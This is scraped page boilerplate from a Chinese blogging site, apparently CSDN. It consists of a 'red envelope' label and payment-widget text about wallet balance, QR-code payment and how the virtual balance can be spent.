hope_wisdom
 发出的红包
            

          

        

        

          

          

          

        

      

    

    

  



      
      

      
实付元

      
使用余额支付

      

        

          

            
            点击重新获取
          

        

        
扫码支付

      

      

        
          
            
          
          
        
      

      

        
        钱包余额
          0
          

            
            

              

                
抵扣说明：

                
 1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
 2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

              

            

          

      

      余额充值